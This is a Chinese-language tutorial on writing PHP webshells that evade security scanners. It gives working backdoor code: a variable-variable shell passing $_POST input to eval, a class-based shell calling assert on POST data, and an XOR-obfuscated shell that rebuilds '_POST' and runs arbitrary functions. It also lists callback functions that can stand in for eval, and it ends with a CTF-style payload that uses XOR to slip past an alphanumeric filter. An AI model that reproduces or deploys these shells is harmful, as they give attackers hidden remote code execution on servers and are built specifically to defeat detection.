免杀之回调函数加组合绕过
array_walk
array_map
filter_var
filter_var_array
uasort
uksort
以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!
免杀之可变变量
PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。
<?php
$zeo= 'miansha';
$$zeo=$_POST[ '110'];
eval($miansha);`
?>
这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!
免杀使用类绕过免杀
类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:
<?php
classzeo2
{
public$b = '';
functionpost{
return$_POST[ 'x'];
}
}
classzeoextendszeo2
{
public$code= null;
function__construct{
$code= parent::post;
assert($code);
}
}
$blll = newzeo;
$bzzz = newzeo2;
?>
异或操作绕过
<?php
echo "A"^"`";//结果为"!"
?>
很多人会好奇为什么会输出"!"
之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是0100 0001`的ASCII值是96,对应的二进制值是0110 0000在php中,异或操作是两个二进制数相同时,异或为0,不同为1,简单来说就是 有且仅有一个为true,就返回true
异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是"!"了
再来看下面这段代码,很典型的异或操作绕过
PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量
<?php
$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤
这道题就可以用异或操作来绕过
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
function getFlag(){
echo "{bypass successfully!}";
}
?>
payload如下
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
"`{{{"^"?<>/"的结果是"_GET",所以${$_}[_]()=$_GET[_](),而此时_=getFlag
所以直接就执行了getFlag(),拿到flag